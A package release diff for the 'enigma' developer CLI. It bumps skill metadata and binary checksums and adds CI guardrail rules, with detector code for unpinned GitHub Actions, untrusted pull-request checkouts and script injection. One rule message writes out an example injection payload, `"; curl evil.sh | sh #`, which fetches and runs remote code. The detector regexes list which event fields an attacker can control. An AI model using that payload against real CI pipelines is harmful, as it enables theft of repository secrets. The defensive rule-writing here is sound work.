"description": "Reproduce-isolate-fix debugging methodology with root-cause discipline and regression verification.",
|
|
6
6
|
"updated": "2026-08-02T04:15:47+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "968876bcac9ce6e5a20be05c89ac97191b112c9e08679a8dc506d150c375fec4"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Dependency and supply-chain security: lockfiles and reproducible installs, version pinning, vulnerability auditing, vetting/minimizing packages, vendoring, and SBOM/provenance.",
|
|
6
6
|
"updated": "2026-06-01T00:45:28+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "6375d835c2aef2c9bd31ce116444dc3d796f510f9970a213aa3ac4696d7e21b9"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Transactional email: React Email templates instead of hand-written HTML tables, server-side rendering, one send module behind the provider SDK, plain-text alternatives, idempotent background sending, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).",
|
|
6
6
|
"updated": "2026-09-28T21:34:15+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "648c7ae3d95d5a033f4955a87613e20b40b265bfcc24d41a5732d415abe778f9"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Guidance for distinctive, intentional visual design when building new UI or reshaping an existing one.",
|
|
6
6
|
"updated": "2026-09-28T21:34:15+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "5d532c2dc467f960ff800c5cd7021db09911599347959cd04481f2054abd9baa"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Frontend architecture: reusable components, abstraction thresholds, state management, real-time form validation where an emptied or not-yet-filled field is incomplete rather than invalid (a `*` on the label and an aria-disabled submit, never \"email is not valid\" over an empty input), no-op detection (skip any operation whose result equals current state, not just form saves; dirty means different from the loaded snapshot, not touched), instant first paint (render the shell, load data async, skeletons), perceived performance (prefetch on intent, debounce/throttle, cancel stale requests, avoid waterfalls, lazy widgets), large-list rendering (infinite scroll is the preferred default, pagination the deliberate exception when the design or the user calls for it, virtualization, skeletons, progressive loading), data views that ship their own affordances by default (a log, expense, transaction or history table is not done when the rows render: fuse.js search, the filters its column kinds imply, a date range, sort, filter state in the URL, and an export of the filtered set), every reference to an entity being a way into it (a name, id, project or path in a row links to that record, reveals it in a hover card, or at minimum copies and filters by it, never inert text; machine codes get human labels and raw payloads are never dumped into a cell), optimistic UI with rollback, visual restraint (one card level, spacing before borders, one elevation scale), icon actions (repeated row/card actions are icon-only buttons with aria-label plus title, not text labels), responsive/adaptive layout (fluid units, breakpoints, no overlap/overflow, viewport meta, touch targets), form fields that declare their keyboard and casing (autocapitalize/autocomplete/inputmode per field kind, set once in the shared Input, normalized on blur), variable-length text (min-width:0 in flex/grid, wrap vs truncate, long unbroken strings, worst-case content checks), auth screens (breached-password feedback, strength meter, cookie consent before login/register), and AI chat/agent interfaces via Vercel's AI Elements registry instead of hand-rolled message threads.",
|
|
6
6
|
"updated": "2026-10-02T12:11:30+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "2571746934548e64ee30348bbf29b1d971d3afa0a7b32277b137150bf8803f90"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Git & contribution policy (senior engineering standards).",
|
|
6
6
|
"updated": "2026-10-05T14:00:39+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "3863620f77993eff848d52da383cabb658a14a370f4a977929e60af216eb6d8d"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Application and AI-agent security: secrets, authn/authz (least privilege, object- and role-level checks), credential flows with breach-checked passwords (Have I Been Pwned), OWASP Top 10 with vetted helpers for SSRF, redirects and uploads, transport/crypto baseline, cookies and consent, secure logging, and agent/MCP/tool-use safety.",
|
|
6
6
|
"updated": "2026-09-28T21:34:15+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "544359122f127cccedfe469232da915b04f7f4aa4795297281bd4bc9cd07d371"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Create new skills, modify and improve existing skills, and measure skill performance with evals and benchmarks.",
|
|
6
6
|
"updated": "2026-08-03T00:16:54+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "a49f6166f57d734e0f13487332da37903e925f32257447856af0fbd6a5f1dc84"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Exhaustive completion discipline for long/multi-item tasks - inventory, coverage ledger, verified done.",
|
|
6
6
|
"updated": "2026-10-02T12:38:13+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "ee8447d5ca9e5d77e0a338d1e762c30e1527ded4665c10ddf21f2c4c9ce3f2d5"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Concise, realistic copy for UI, landing/sales, SEO, email and docs - the user's outcome instead of the mechanism, no full enumerations or \"powered by\" lineage, none of the recognizable AI-writing tells, and never a typographic dash.",
|
|
6
6
|
"updated": "2026-09-28T21:34:15+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "e32623f37f1bf90fa611968ca8b216e3381771254b6af7c81a953c17a8889ddb"
|
|
9
9
|
}
|
|
@@ -47,6 +47,7 @@ description: Test strategy (test pyramid), coverage gates, deterministic tests,
|
|
|
47
47
|
|
|
48
48
|
- Tests must be deterministic: no reliance on real time, randomness, network, or ordering.
|
|
49
49
|
- Control time, randomness, and external services via injection, fakes, or fixtures.
|
|
50
|
+
- A negative case derived from a random value must differ from it by construction. Mutating a random token or id to a fixed value ("replace the last character with A") passes the original through whenever it already had that value - a flake that fails 1 run in N. Pick the replacement from the value itself (A unless it already is A, else B), and sweep the suite for the same pattern when one is found.
|
|
50
51
|
- Each test must be independent and able to run in isolation and in any order.
|
|
51
52
|
- One logical assertion focus per test; name tests by the behavior they verify.
|
|
52
53
|
- Follow Arrange-Act-Assert (or given-when-then) structure.
|
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "testing-policy",
|
|
3
|
-
"version": "1.2.
|
|
3
|
+
"version": "1.2.1",
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Test strategy, coverage gates, deterministic tests, mocking discipline, regression-first bug fixing, and test-suite organization (layout by type/domain, mirrored paths, file naming, fixture/helper placement).",
|
|
6
|
-
"updated": "2026-10-
|
|
7
|
-
"cliVersion": "1.
|
|
8
|
-
"sha": "
|
|
6
|
+
"updated": "2026-10-10T17:15:42+02:00",
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
|
+
"sha": "86d49572f8e230377fcdafb0ac74bbc86998ffb68c3224b60793bf62a82bab16"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Strict frontend + backend schema validation, normalization before validation (shared normalizers: trim, lowercase email, capitalize names, canonicalize links and handles), real-time error timing (an emptied or not-yet-filled field is incomplete, not invalid: a `*` and an aria-disabled submit instead of \"not valid\" over an empty input), schema consistency, and safe client-facing error handling.",
|
|
6
6
|
"updated": "2026-10-02T19:07:57+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "7b39ded6b82cb7a8424aea7b8d59a293791205d57e7272ff63d9fa558772ecb1"
|
|
9
9
|
}
|
package/bin/checksums.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
|
-
"enigma-darwin-arm64": "
|
|
3
|
-
"enigma-linux-arm64": "
|
|
4
|
-
"enigma-linux-x64": "
|
|
5
|
-
"enigma-win32-x64.exe": "
|
|
2
|
+
"enigma-darwin-arm64": "6e4862e98471ff3933a18e5e81bb3bcd15f9eb571cd08808c05f923037248df4",
|
|
3
|
+
"enigma-linux-arm64": "9420f1390927615d19d262ed71100a636d1b2e08e242c7942b2cb1d6913749d3",
|
|
4
|
+
"enigma-linux-x64": "15fb445f995dad748b0e6be83b787cc81a051525e331c62c98f90f835d124cac",
|
|
5
|
+
"enigma-win32-x64.exe": "f1056009296b78d356a481b1d78205946b25ebce09f391a63dfa9b7805052e55"
|
|
6
6
|
}
|
package/dist/guardrails.js
CHANGED
|
@@ -38,6 +38,7 @@ var INJECTION_EXCLUDES = [
|
|
|
38
38
|
"vendor/**",
|
|
39
39
|
"**/site-packages/**"
|
|
40
40
|
];
|
|
41
|
+
var WORKFLOW_FILES = [".github/workflows/*.yml", ".github/workflows/*.yaml", "**/.github/workflows/*.yml", "**/.github/workflows/*.yaml"];
|
|
41
42
|
var UI_CODE_FILES = ["*.tsx", "*.jsx", "*.vue", "*.svelte", "*.astro", "*.html", "*.htm"];
|
|
42
43
|
var UI_STYLE_FILES = [...UI_CODE_FILES, "*.css", "*.scss", "*.sass", "*.less"];
|
|
43
44
|
var TELL_EXCLUDES = [...INJECTION_EXCLUDES, "**/stories/**", "stories/**", "**/.storybook/**", "*.story.*"];
|
|
@@ -2391,6 +2392,38 @@ var BUILTIN_RULES = [
|
|
|
2391
2392
|
severity: "block",
|
|
2392
2393
|
skill: "security-policy"
|
|
2393
2394
|
},
|
|
2395
|
+
// CI workflows (ci-policy). Measured over the reference repos' workflow files (guardrails.md, "CI WORKFLOW RULES").
|
|
2396
|
+
{
|
|
2397
|
+
id: "ci-action-unpinned",
|
|
2398
|
+
label: "Third-party actions are pinned to a commit SHA",
|
|
2399
|
+
files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
|
|
2400
|
+
scope: "file",
|
|
2401
|
+
stage: "diff",
|
|
2402
|
+
fileCheck: "ci-action-unpinned",
|
|
2403
|
+
message: "This step runs a third-party action (or reusable workflow) by a tag or branch, and whoever controls that repository can move the tag to new code after you reviewed it - the tj-actions/changed-files compromise in March 2025 rewrote every tag to dump CI secrets. Pin the full 40-character commit SHA with the version as a comment: `uses: owner/action@<sha> # v4.2.1` (resolve it with `gh api repos/<owner>/<action>/commits/<tag> --jq .sha`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pin. A container image is pinned by `@sha256:` digest. Mark the line `enigma:allow-unpinned-action` for an action this organization owns and releases itself (ci-policy).",
|
|
2404
|
+
severity: "block",
|
|
2405
|
+
skill: "ci-policy"
|
|
2406
|
+
},
|
|
2407
|
+
{
|
|
2408
|
+
id: "ci-untrusted-checkout",
|
|
2409
|
+
label: "Privileged workflows never run a pull request's code",
|
|
2410
|
+
files: WORKFLOW_FILES,
|
|
2411
|
+
scope: "file",
|
|
2412
|
+
fileCheck: "ci-untrusted-checkout",
|
|
2413
|
+
message: "This workflow runs on `pull_request_target` or `workflow_run`, which carry the base repository's secrets and a write token, and it checks out the pull request's own code. Any build, install or test step that follows runs code a fork author wrote, with those secrets (a \"pwn request\"). Run the untrusted code under `pull_request` (no secrets, read-only token) and, if a privileged step is needed, pass it only data through an artifact that the `workflow_run` job reads without executing. Mark the line `enigma:allow-untrusted-checkout` when the checked-out files are only read as data and nothing from them is executed or installed (ci-policy).",
|
|
2414
|
+
severity: "block",
|
|
2415
|
+
skill: "ci-policy"
|
|
2416
|
+
},
|
|
2417
|
+
{
|
|
2418
|
+
id: "ci-script-injection",
|
|
2419
|
+
label: "Untrusted event text never reaches a script directly",
|
|
2420
|
+
files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
|
|
2421
|
+
scope: "file",
|
|
2422
|
+
fileCheck: "ci-script-injection",
|
|
2423
|
+
message: 'This script interpolates text that anyone who opens an issue or pull request controls (a title, body, comment, branch name or commit message) with `${{ }}`. Actions substitutes it into the script BEFORE the shell or JavaScript runs, so a title like `"; curl evil.sh | sh #` becomes code with the job\'s token and secrets. Pass it through an environment variable and quote it: `env: TITLE: ${{ github.event.issue.title }}` then `"$TITLE"` in the script (or `process.env.TITLE` in github-script) (ci-policy).',
|
|
2424
|
+
severity: "block",
|
|
2425
|
+
skill: "ci-policy"
|
|
2426
|
+
},
|
|
2394
2427
|
{
|
|
2395
2428
|
id: "sec-secret-compare-timing",
|
|
2396
2429
|
label: "Secrets are compared in constant time",
|
|
@@ -2713,6 +2746,9 @@ var FILE_CHECKS = {
|
|
|
2713
2746
|
"sec-markdown-html-unsanitized": (content) => unsanitizedMarkdownHtml(content),
|
|
2714
2747
|
"fe-radix-overlay-no-portal": (content) => radixContentWithoutPortal(content),
|
|
2715
2748
|
"sec-ssh-host-key-unverified": (content) => unverifiedSshHostKey(content),
|
|
2749
|
+
"ci-action-unpinned": (content) => unpinnedWorkflowAction(content),
|
|
2750
|
+
"ci-untrusted-checkout": (content) => untrustedCheckout(content),
|
|
2751
|
+
"ci-script-injection": (content) => untrustedTextInScript(content),
|
|
2716
2752
|
"sec-secret-compare-timing": (content, file) => timingUnsafeSecretCompare(content, file),
|
|
2717
2753
|
"sec-redirect-prefix-check": (content, file) => redirectPrefixCheck(content, file),
|
|
2718
2754
|
"sec-open-redirect-from-input": (content, file) => redirectFromInput(content, file),
|
|
@@ -4020,6 +4056,98 @@ function unverifiedSshHostKey(content) {
|
|
|
4020
4056
|
}
|
|
4021
4057
|
return out;
|
|
4022
4058
|
}
|
|
4059
|
+
var ACTION_USES = /^\s*(?:-\s+)?uses:\s*["']?([^\s"'#]+)/;
|
|
4060
|
+
var FULL_SHA = /^[0-9a-f]{40}$/i;
|
|
4061
|
+
var IMAGE_DIGEST = /@sha256:[0-9a-f]{64}$/i;
|
|
4062
|
+
function unpinnedWorkflowAction(content) {
|
|
4063
|
+
const out = [];
|
|
4064
|
+
const lines = content.split("\n");
|
|
4065
|
+
for (let i = 0; i < lines.length; i++) {
|
|
4066
|
+
const text = lines[i];
|
|
4067
|
+
if (auditSkipLine(text)) continue;
|
|
4068
|
+
const ref = ACTION_USES.exec(text)?.[1];
|
|
4069
|
+
if (!ref || ref.startsWith("./") || ref.startsWith("../") || ref.includes("${{")) continue;
|
|
4070
|
+
if (ref.startsWith("docker://")) {
|
|
4071
|
+
if (!IMAGE_DIGEST.test(ref)) out.push({ line: i + 1, detail: ref });
|
|
4072
|
+
continue;
|
|
4073
|
+
}
|
|
4074
|
+
const at = ref.lastIndexOf("@");
|
|
4075
|
+
if (at < 0 || !FULL_SHA.test(ref.slice(at + 1))) out.push({ line: i + 1, detail: ref });
|
|
4076
|
+
}
|
|
4077
|
+
return out;
|
|
4078
|
+
}
|
|
4079
|
+
var PRIVILEGED_TRIGGER = /\b(?:pull_request_target|workflow_run)\b/;
|
|
4080
|
+
var PR_HEAD_REF = /\$\{\{[^}]*\b(?:github\.event\.pull_request\.(?:head\.(?:sha|ref)|merge_commit_sha)|github\.head_ref|github\.event\.workflow_run\.head_(?:sha|branch))\b|refs\/pull\/(?:\$\{\{[^}]*\}\}|[^\s"'/]+)\/(?:head|merge)\b/;
|
|
4081
|
+
var CHECKOUT_SITE = /^\s*(?:-\s+)?ref:|\bgit\s+(?:fetch|checkout|switch|pull|worktree)\b|\bgh\s+pr\s+checkout\b/;
|
|
4082
|
+
var SAME_REPO_GUARD = /\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\s*==\s*github\.repository\b|\bgithub\.repository\s*==\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\b|\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\s*==\s*false\b|!\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\b(?!\s*==)/;
|
|
4083
|
+
function jobOfLine(lines) {
|
|
4084
|
+
const job = [];
|
|
4085
|
+
let inJobs = false;
|
|
4086
|
+
let jobIndent = -1;
|
|
4087
|
+
let current = -1;
|
|
4088
|
+
for (const text of lines) {
|
|
4089
|
+
const indent = text.length - text.trimStart().length;
|
|
4090
|
+
const blank = text.trim() === "" || COMMENT_LINE.test(text);
|
|
4091
|
+
if (!blank && indent === 0) {
|
|
4092
|
+
inJobs = /^jobs:\s*(?:#.*)?$/.test(text);
|
|
4093
|
+
jobIndent = -1;
|
|
4094
|
+
current = -1;
|
|
4095
|
+
} else if (!blank && inJobs) {
|
|
4096
|
+
if (jobIndent < 0) jobIndent = indent;
|
|
4097
|
+
if (indent === jobIndent) current = job.length;
|
|
4098
|
+
}
|
|
4099
|
+
job.push(current);
|
|
4100
|
+
}
|
|
4101
|
+
return job;
|
|
4102
|
+
}
|
|
4103
|
+
function untrustedCheckout(content) {
|
|
4104
|
+
const lines = content.split("\n");
|
|
4105
|
+
if (!lines.some((l) => !COMMENT_LINE.test(l) && PRIVILEGED_TRIGGER.test(l))) return [];
|
|
4106
|
+
const job = jobOfLine(lines);
|
|
4107
|
+
const guarded = /* @__PURE__ */ new Set();
|
|
4108
|
+
lines.forEach((l, i) => {
|
|
4109
|
+
if (!COMMENT_LINE.test(l) && SAME_REPO_GUARD.test(l)) guarded.add(job[i]);
|
|
4110
|
+
});
|
|
4111
|
+
const out = [];
|
|
4112
|
+
for (let i = 0; i < lines.length; i++) {
|
|
4113
|
+
const text = lines[i];
|
|
4114
|
+
if (auditSkipLine(text) || !CHECKOUT_SITE.test(text) || guarded.has(job[i])) continue;
|
|
4115
|
+
const head = PR_HEAD_REF.exec(text) ?? /\bgh\s+pr\s+checkout\b/.exec(text);
|
|
4116
|
+
if (head) out.push({ line: i + 1, detail: head[0] });
|
|
4117
|
+
}
|
|
4118
|
+
return out;
|
|
4119
|
+
}
|
|
4120
|
+
var UNTRUSTED_EVENT_TEXT = /\$\{\{[^}]*?\b(github\.head_ref|github\.event\.(?:issue|pull_request|discussion)\.(?:title|body)|github\.event\.(?:comment|review|review_comment)\.body|github\.event\.pages\b[^}]*?\.page_name|github\.event\.head_commit\.(?:message|author\.(?:email|name))|github\.event\.commits\b[^}]*?\.(?:message|author\.(?:email|name))|github\.event\.pull_request\.head\.(?:ref|label|repo\.default_branch)|github\.event\.workflow_run\.(?:head_branch|display_title|head_commit\.message))\b/;
|
|
4121
|
+
var SCRIPT_KEY = /^(\s*)(-\s+)?(?:run|script):\s*(.*)$/;
|
|
4122
|
+
var BLOCK_SCALAR = /^[|>][-+0-9]*\s*(?:#.*)?$/;
|
|
4123
|
+
function untrustedTextInScript(content) {
|
|
4124
|
+
const out = [];
|
|
4125
|
+
const lines = content.split("\n");
|
|
4126
|
+
const check = (text, i) => {
|
|
4127
|
+
if (/enigma:/.test(text)) return;
|
|
4128
|
+
const m = UNTRUSTED_EVENT_TEXT.exec(text);
|
|
4129
|
+
if (m) out.push({ line: i + 1, detail: m[1] });
|
|
4130
|
+
};
|
|
4131
|
+
let bodyAbove = -1;
|
|
4132
|
+
for (let i = 0; i < lines.length; i++) {
|
|
4133
|
+
const text = lines[i];
|
|
4134
|
+
if (bodyAbove >= 0) {
|
|
4135
|
+
if (text.trim() === "") continue;
|
|
4136
|
+
if (text.length - text.trimStart().length > bodyAbove) {
|
|
4137
|
+
check(text, i);
|
|
4138
|
+
continue;
|
|
4139
|
+
}
|
|
4140
|
+
bodyAbove = -1;
|
|
4141
|
+
}
|
|
4142
|
+
if (COMMENT_LINE.test(text)) continue;
|
|
4143
|
+
const key = SCRIPT_KEY.exec(text);
|
|
4144
|
+
if (!key) continue;
|
|
4145
|
+
const rest = key[3];
|
|
4146
|
+
if (BLOCK_SCALAR.test(rest)) bodyAbove = key[1].length + (key[2]?.length ?? 0);
|
|
4147
|
+
else check(rest, i);
|
|
4148
|
+
}
|
|
4149
|
+
return out;
|
|
4150
|
+
}
|
|
4023
4151
|
var OPERAND_BEFORE = /((?:`[^`]*`)|[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)\s*$/;
|
|
4024
4152
|
var OPERAND_AFTER = /^\s*((?:`[^`]*`)|(?:await\s+)?[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)/;
|
|
4025
4153
|
var LITERAL_OPERAND = /^(?:null|undefined|true|false|None|True|False|NaN|\d[\w.]*|["'][^"']*["']|`[^`$]*`)$/;
|
|
@@ -4847,8 +4975,11 @@ export {
|
|
|
4847
4975
|
unboundedFanout,
|
|
4848
4976
|
unboundedOrmRead,
|
|
4849
4977
|
unboundedRemoteList,
|
|
4978
|
+
unpinnedWorkflowAction,
|
|
4850
4979
|
unsafeDeserialization,
|
|
4851
4980
|
unsanitizedMarkdownHtml,
|
|
4981
|
+
untrustedCheckout,
|
|
4982
|
+
untrustedTextInScript,
|
|
4852
4983
|
unverifiedSshHostKey,
|
|
4853
4984
|
viewBlankedWhileLoading,
|
|
4854
4985
|
wideNamedImports
|
package/dist/post-edit.js
CHANGED
|
@@ -644,8 +644,11 @@ __export(guardrails_exports, {
|
|
|
644
644
|
unboundedFanout: () => unboundedFanout,
|
|
645
645
|
unboundedOrmRead: () => unboundedOrmRead,
|
|
646
646
|
unboundedRemoteList: () => unboundedRemoteList,
|
|
647
|
+
unpinnedWorkflowAction: () => unpinnedWorkflowAction,
|
|
647
648
|
unsafeDeserialization: () => unsafeDeserialization,
|
|
648
649
|
unsanitizedMarkdownHtml: () => unsanitizedMarkdownHtml,
|
|
650
|
+
untrustedCheckout: () => untrustedCheckout,
|
|
651
|
+
untrustedTextInScript: () => untrustedTextInScript,
|
|
649
652
|
unverifiedSshHostKey: () => unverifiedSshHostKey,
|
|
650
653
|
viewBlankedWhileLoading: () => viewBlankedWhileLoading,
|
|
651
654
|
wideNamedImports: () => wideNamedImports
|
|
@@ -1780,6 +1783,88 @@ function unverifiedSshHostKey(content) {
|
|
|
1780
1783
|
}
|
|
1781
1784
|
return out;
|
|
1782
1785
|
}
|
|
1786
|
+
function unpinnedWorkflowAction(content) {
|
|
1787
|
+
const out = [];
|
|
1788
|
+
const lines = content.split("\n");
|
|
1789
|
+
for (let i = 0; i < lines.length; i++) {
|
|
1790
|
+
const text = lines[i];
|
|
1791
|
+
if (auditSkipLine(text)) continue;
|
|
1792
|
+
const ref = ACTION_USES.exec(text)?.[1];
|
|
1793
|
+
if (!ref || ref.startsWith("./") || ref.startsWith("../") || ref.includes("${{")) continue;
|
|
1794
|
+
if (ref.startsWith("docker://")) {
|
|
1795
|
+
if (!IMAGE_DIGEST.test(ref)) out.push({ line: i + 1, detail: ref });
|
|
1796
|
+
continue;
|
|
1797
|
+
}
|
|
1798
|
+
const at = ref.lastIndexOf("@");
|
|
1799
|
+
if (at < 0 || !FULL_SHA.test(ref.slice(at + 1))) out.push({ line: i + 1, detail: ref });
|
|
1800
|
+
}
|
|
1801
|
+
return out;
|
|
1802
|
+
}
|
|
1803
|
+
function jobOfLine(lines) {
|
|
1804
|
+
const job = [];
|
|
1805
|
+
let inJobs = false;
|
|
1806
|
+
let jobIndent = -1;
|
|
1807
|
+
let current = -1;
|
|
1808
|
+
for (const text of lines) {
|
|
1809
|
+
const indent = text.length - text.trimStart().length;
|
|
1810
|
+
const blank = text.trim() === "" || COMMENT_LINE.test(text);
|
|
1811
|
+
if (!blank && indent === 0) {
|
|
1812
|
+
inJobs = /^jobs:\s*(?:#.*)?$/.test(text);
|
|
1813
|
+
jobIndent = -1;
|
|
1814
|
+
current = -1;
|
|
1815
|
+
} else if (!blank && inJobs) {
|
|
1816
|
+
if (jobIndent < 0) jobIndent = indent;
|
|
1817
|
+
if (indent === jobIndent) current = job.length;
|
|
1818
|
+
}
|
|
1819
|
+
job.push(current);
|
|
1820
|
+
}
|
|
1821
|
+
return job;
|
|
1822
|
+
}
|
|
1823
|
+
function untrustedCheckout(content) {
|
|
1824
|
+
const lines = content.split("\n");
|
|
1825
|
+
if (!lines.some((l) => !COMMENT_LINE.test(l) && PRIVILEGED_TRIGGER.test(l))) return [];
|
|
1826
|
+
const job = jobOfLine(lines);
|
|
1827
|
+
const guarded = /* @__PURE__ */ new Set();
|
|
1828
|
+
lines.forEach((l, i) => {
|
|
1829
|
+
if (!COMMENT_LINE.test(l) && SAME_REPO_GUARD.test(l)) guarded.add(job[i]);
|
|
1830
|
+
});
|
|
1831
|
+
const out = [];
|
|
1832
|
+
for (let i = 0; i < lines.length; i++) {
|
|
1833
|
+
const text = lines[i];
|
|
1834
|
+
if (auditSkipLine(text) || !CHECKOUT_SITE.test(text) || guarded.has(job[i])) continue;
|
|
1835
|
+
const head = PR_HEAD_REF.exec(text) ?? /\bgh\s+pr\s+checkout\b/.exec(text);
|
|
1836
|
+
if (head) out.push({ line: i + 1, detail: head[0] });
|
|
1837
|
+
}
|
|
1838
|
+
return out;
|
|
1839
|
+
}
|
|
1840
|
+
function untrustedTextInScript(content) {
|
|
1841
|
+
const out = [];
|
|
1842
|
+
const lines = content.split("\n");
|
|
1843
|
+
const check = (text, i) => {
|
|
1844
|
+
if (/enigma:/.test(text)) return;
|
|
1845
|
+
const m = UNTRUSTED_EVENT_TEXT.exec(text);
|
|
1846
|
+
if (m) out.push({ line: i + 1, detail: m[1] });
|
|
1847
|
+
};
|
|
1848
|
+
let bodyAbove = -1;
|
|
1849
|
+
for (let i = 0; i < lines.length; i++) {
|
|
1850
|
+
const text = lines[i];
|
|
1851
|
+
if (bodyAbove >= 0) {
|
|
1852
|
+
if (text.trim() === "") continue;
|
|
1853
|
+
if (text.length - text.trimStart().length > bodyAbove) {
|
|
1854
|
+
check(text, i);
|
|
1855
|
+
continue;
|
|
1856
|
+
}
|
|
1857
|
+
bodyAbove = -1;
|
|
1858
|
+
}
|
|
1859
|
+
if (COMMENT_LINE.test(text)) continue;
|
|
1860
|
+
const key = SCRIPT_KEY.exec(text);
|
|
1861
|
+
if (!key) continue;
|
|
1862
|
+
const rest = key[3];
|
|
1863
|
+
if (BLOCK_SCALAR.test(rest)) bodyAbove = key[1].length + (key[2]?.length ?? 0);
|
|
1864
|
+
else check(rest, i);
|
|
1865
|
+
}
|
|
1866
|
+
return out;
|
|
1867
|
+
}
|
|
1783
1868
|
function secretKind(expr, bound) {
|
|
1784
1869
|
if (expr.startsWith("`")) return /^`(?:Bearer|Basic|Token)\s+\$\{/i.test(expr) ? "configured" : "";
|
|
1785
1870
|
if (CONFIGURED_SECRET.test(expr)) return "configured";
|
|
@@ -2443,7 +2528,7 @@ enigma-guardrails: BLOCKED - ${r.blocks.length} convention violation(s):`);
|
|
|
2443
2528
|
console.log(`enigma-guardrails: ${r.count} ${all ? "tracked" : "staged"} file(s) checked, no blocking violations.`);
|
|
2444
2529
|
return 0;
|
|
2445
2530
|
}
|
|
2446
|
-
var COMMENT_LINE, SKELETON_GUARD_SRC, SKELETON_SIGNAL_SRC, INJECTION_EXCLUDES, UI_CODE_FILES, UI_STYLE_FILES, TELL_EXCLUDES, DB_SCRIPT_EXCLUDES, BUILTIN_RULES, PROJECT_CHECKS, CURRENT_PASSWORD, NEW_PASSWORD, NEW_PASSWORD_PROP, NOT_A_JSX_PROP, FILE_CHECKS, FIXERS, SPAWNERS, MUTATING_REQUEST, ENTITY_WRITE, OPTIMISTIC_SIGNAL, ALLOW_SERVER_FIRST, RESULT_BINDING, BLOCK_LOOKBACK, BLOCK_LOOKAHEAD, REVALIDATE_AFTER, PROMISE_FANOUT, FANOUT_LITERAL, FANOUT_MAPPED, FANOUT_OVER_OBJECT, EXPENSIVE_PER_ITEM, CONCURRENCY_BOUND, FANOUT_WINDOW, TEXTAREA, TEXTAREA_LOWER, TEXTAREA_UPPER, TEXTAREA_FIXED, TEXTAREA_AUTOSIZE, VIEW_GUARD, LOADING_NAME, LOADING_VALUE, VIEW_GUARD_LOADING, VIEW_CHROME_HEADING, VIEW_CHROME_TEXT, VIEW_BODY_LOOKAHEAD, ALLOW_VIEW_SKELETON, SKELETON_GUARD, SKELETON_SIGNAL, REMOTE_COLLECTION_BINDINGS, LIST_BOUNDED, ALLOW_UNBOUNDED_LIST, MENU_HANDLER, MENU_POINT, MENU_STATE, MENU_MITIGATED, SELECT_RANGE_KEY, SELECT_ADD_KEY, SELECT_STATE, SELECT_MITIGATED, COLOR_MATHS, COLOR_DRAG, COLOR_MEASURE, COLOR_STATE, COLOR_MITIGATED, LIGHTBOX_IMAGE, LIGHTBOX_WHEEL, LIGHTBOX_ZOOM, LIGHTBOX_DIALOG, LIGHTBOX_MITIGATED, VIDEO_ELEMENT, VIDEO_DRIVEN, VIDEO_TIMELINE, VIDEO_CONTROLS, VIDEO_MITIGATED, TWOFA_SUBJECT, TWOFA_ENROLL, 